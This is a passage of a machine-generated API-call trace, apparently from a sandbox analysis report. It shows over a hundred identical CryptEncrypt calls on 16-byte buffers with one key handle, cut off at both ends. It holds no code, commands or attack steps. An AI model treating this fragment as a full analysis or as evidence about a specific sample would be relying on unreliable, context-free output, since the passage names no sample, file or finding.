pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 